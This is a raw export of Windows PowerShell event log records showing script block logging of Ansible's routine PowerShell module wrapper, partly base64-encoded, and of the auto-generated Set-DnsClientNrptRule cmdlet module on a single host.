dCIgLXJlc3VsdG9iaiAkcmVzdWx0b2JqIC1mYWlsaWZlbXB0eSAkdHJ1ZQogICAgR2V0LUFuc2libGVQYXJhbSBhbHNvIHN1cHBvcnRzIFBhcmFtZXRlciB2YWxpZGF0aW9uIHRvIHNhdmUgeW91IGZyb20gY29kaW5nIHRoYXQgbWFudWFsbHkKICAgIE5vdGUgdGhhdCBpZiB5b3UgdXNlIHRoZSBmYWlsaWZlbXB0eSBvcHRpb24sIHlvdSBkbyBuZWVkIHRvIHNwZWNpZnkgcmVzdWx0b2JqZWN0IGFzIHdlbGwuCiM+CiAgICAjIENoZWNrIGlmIHRoZSBwcm92aWRlZCBNZW1iZXIgJG5hbWUgb3IgYWxpYXNlcyBleGlzdCBpbiAkb2JqIGFuZCByZXR1cm4gaXQgb3IgdGhlIGRlZmF1bHQuCiAgICB0cnkgewoKICAgICAgICAkZm91bmQgPSAkbnVsbAogICAgICAgICMgRmlyc3QgdHJ5IHRvIGZpbmQgcHJlZmVycmVkIHBhcmFtZXRlciAkbmFtZQogICAgICAgICRhbGlhc2VzID0gQCgkbmFtZSkgKyAkYWxpYXNlcwoKICAgICAgICAjIEl0ZXJhdGUgb3ZlciBhbGlhc2VzIHRvIGZpbmQgYWNjZXB0YWJsZSBNZW1iZXIgJG5hbWUKICAgICAgICBmb3JlYWNoICgkYWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0gIkdldC1BbnNpYmxlUGFyYW06IEFyZ3VtZW50ICRuYW1lIG5lZWRzIHRvIGJlIG9uZSBvZiAkKCRWYWxpZGF0ZVNldCAtam9pbiAiLCIpIGJ1dCB3YXMgJCgkb2JqLiRuYW1lKS4iCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICRWYWxpZGF0ZVNldEVycm9yTWVzc2FnZQogICAg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BhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMgQ29udmVydCBzdHJpbmcgdHlwZSB0byByZWFsIFBvd2Vyc2hlbGwgYXJyYXkKICAgICAgICAgICAgICAgIC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TsKICAgICAgICAgICAgJGZwLkRpc3Bvc2UoKTsKICAgICAgICB9CiAgICB9CiAgICBFbHNlSWYgKFRlc3QtUGF0aCAtUGF0aCAkcGF0aCAtUGF0aFR5cGUgQ29udGFpbmVyKQogICAgewogICAgICAgICRoYXNoID0gIjMiOwogICAgfQogICAgRWxzZQogICAgewogICAgICAgICRoYXNoID0gIjEiOwogICAgfQogICAgcmV0dXJuICRoYXNoCn0KCkZ1bmN0aW9uIEdldC1QZW5kaW5nUmVib290U3RhdHVzCnsKPCMKICAgIC5TWU5PUFNJUwogICAgQ2hlY2sgaWYgcmVib290IGlzIHJlcXVpcmVkLCBpZiBzbyBub3RpZnkgQ0EuCiAgICBGdW5jdGlvbiByZXR1cm5zIHRydWUgaWYgY29tcHV0ZXIgaGFzIGEgcGVuZGluZyByZWJvb3QKIz4KICAgICRmZWF0dXJlRGF0YSA9IEludm9rZS1XbWlNZXRob2QgLUVBIElnbm9yZSAtTmFtZSBHZXRTZXJ2ZXJGZWF0dXJlIC1OYW1lc3BhY2Ugcm9vdFxtaWNyb3NvZnRcd2luZG93c1xzZXJ2ZXJtYW5hZ2VyIC1DbGFzcyBNU0ZUX1NlcnZlck1hbmFnZXJUYXNrcwogICAgJHJl
ScriptBlock ID: 1b27590e-2f2c-4a71-ada2-c5f6a0ec98a5
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1898 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 4584 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:08 AM | dfeadd90-ee34-0002-3dfe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 4):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBsZXhfYXJncyI7VmFsdWU9JHBheWxvYWQubW9kdWxlX2FyZ3N9KSB8IE91dC1OdWxsCiAgICAkcHMuQWRkQ29tbWFuZCgiT3V0LU51bGwiKSB8IE91dC1OdWxsCgogICAgIyByZWRlZmluZSBXcml0ZS1Ib3N0IHRvIGR1bXAgdG8gb3V0cHV0IGluc3RlYWQgb2YgZmFpbGluZy0gbG90cyBvZiBzY3JpcHRzIHVzZSBpdAogICAgJHBzLkFkZFN0YXRlbWVudCgpLkFkZFNjcmlwdCgiRnVuY3Rpb24gV3JpdGUtSG9zdChgJG1zZyl7IFdyaXRlLU91dHB1dCBgJG1zZy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W50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.Legacy": "IyBDb3B5cmlnaHQgKGMpLCBNaWNoYWVsIERlSGFhbiA8bWljaGFlbC5kZWhhYW5AZ21haWwuY29tPiwgMjAxNCwgYW5kIG90aGVycwojIFNpbXBsaWZpZWQgQlNEIExpY2Vuc2UgKHNlZSBsaWNlbnNlcy9zaW1wbGlmaWVkX2JzZC50eHQgb3IgaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9CU0QtMi1DbGF1c2UpCgpTZXQtU3RyaWN0TW9kZSAtVmVyc2lvbiAyLjAKJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJTdG9wIgoKRnVuY3Rpb24gU2V0LUF0dHIoJG9iaiwgJG5hbWUsICR2YWx1ZSkKewo8IwogICAgLlNZTk9QU0lTCiAgICBIZWxwZXIgZnVuY3Rpb24gdG8gc2V0IGFuICJhdHRyaWJ1dGUiIG9uIGEgcHNvYmplY3QgaW5zdGFuY2UgaW4gUG93ZXJTaGVsbC4KICAgIF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kRW52aXJvbm1lbnRWYXJpYWJsZXMoJHZhbHVlKQogICAgfSBlbHNlIHsKICAgICAgICAkdmFsdWUKICAgIH0KfQoKRnVuY3Rpb24gR2V0LUFuc2libGVQYXJhbSgkb2JqLCAkbmFtZSwgJGRlZmF1bHQgPSAkbnVsbCwgJHJlc3VsdG9iaiA9IEB7fSwgJGZhaWxpZmVtcHR5ID0gJGZhbHNlLCAkZW1wdHlhdHRyaWJ1dGVmYWlsbWVzc2FnZSwgJFZhbGlkYXRlU2V0LCAkVmFsaWRhdGVTZXRFcnJvck1lc3NhZ2UsICR0eXBlID0gJG51bGwsICRhbGlhc2VzID0gQCgpKQp7CjwjCiAgICAuU1lOT1BTSVMKICAgIEhlbHBlciBmdW5jdGlvbiB0byBnZXQgYW4gImF0dHJpYnV0ZSIgZnJvbSBhIHBzb2JqZWN0IGluc3RhbmNlIGluIFBvd2VyU2hlbGwuCiAgICBUaGlzIGlzIGEgY29udmVuaWVuY2UgdG8gbWFrZSBnZXR0aW5nIE1lbWJlcnMgZnJvbSBhbiBvYmplY3QgZWFzaWVyIGFuZAogICAgc2xpZ2h0bHkgbW9yZSBweXRob25pYwogICAgLkVYQU1QTEUKICAgICRhdHRyID0gR2V0LUFuc2libGVQYXJhbSAkcmVzcG9uc2UgImNvZGUiIC1kZWZhdWx0ICIxIgogICAgLkVYQU1QTEUKICAgIEdldC1BbnNpYmxlUGFyYW0gLW9iaiAkcGFyYW1zIC1uYW1lICJTdGF0ZSIgLWRlZmF1bHQgIlByZXNlbnQiIC1WYWxpZGF0ZVNldCAiUHJlc2VudCIsIkFic2Vu
ScriptBlock ID: 1b27590e-2f2c-4a71-ada2-c5f6a0ec98a5
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1897 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 4584 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:08 AM | dfeadd90-ee34-0002-3dfe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1896 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 3748 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:07 AM | dfeadd90-ee34-0000-23ee-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4476 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1895 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 4684 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:07 AM | dfeadd90-ee34-0000-23ee-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1894 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 3748 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:07 AM | dfeadd90-ee34-0000-23ee-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 4):
dParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Comment'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Comment'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DnsSecEnable')) {
[object]$__cmdletization_value = ${DnsSecEnable}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecEnable'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecEnable'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DnsSecIPsecEncryptionType')) {
[object]$__cmdletization_value = ${DnsSecIPsecEncryptionType}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecIPsecEncryptionType'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecIPsecEncryptionType'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DnsSecIPsecRequired')) {
[object]$__cmdletization_value = ${DnsSecIPsecRequired}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecIPsecRequired'; ParameterType = 'System.Nullable`1[[System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecIPsecRequired'; ParameterType = 'System.Nullable`1[[System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DnsSecValidationRequired')) {
[object]$__cmdletization_value = ${DnsSecValidationRequired}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecValidationRequired'; ParameterType = 'System.Nullable`1[[System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecValidationRequired'; ParameterType = 'System.Nullable`1[[System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('GpoName')) {
[object]$__cmdletization_value = ${GpoName}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GpoName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GpoName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPsecTrustAuthority')) {
[object]$__cmdletization_value = ${IPsecTrustAuthority}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPsecTrustAuthority'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPsecTrustAuthority'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Name')) {
[object]$__cmdletization_value = ${Name}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Name'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Name'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NameEncoding')) {
[object]$__cmdletization_value = ${NameEncoding}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NameEncoding'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NameEncoding'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NameServers')) {
[object]$__cmdletization_value = ${NameServers}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NameServers'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NameServers'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Namespace')) {
[object]$__cmdletization_value = ${Namespace}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Namespace'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Namespace'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Server')) {
[object]$__cmdletization_value = ${Server}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Server'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Server'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DisplayName')) {
[object]$__cmdletization_value = ${DisplayName}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DisplayName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DisplayName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameter.ParameterTypeName = 'Microsoft.Management.Infrastructure.CimInstance#DnsClientNrptRule'
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.Int32'; Bindings = 'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Set', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP PS_DnsClientNRPTRule_v1.0.0.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-DnsClientNrptRule' -Alias '*'
ScriptBlock ID: 0a4425c8-4d79-42be-b3a5-87d710c0f827
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1893 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:06 AM | dfeadd90-ee34-0004-eb28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 4):
dParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('GpoName')) {
[object]$__cmdletization_value = ${GpoName}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GpoName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GpoName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Name')) {
[object]$__cmdletization_value = ${Name}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Name'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
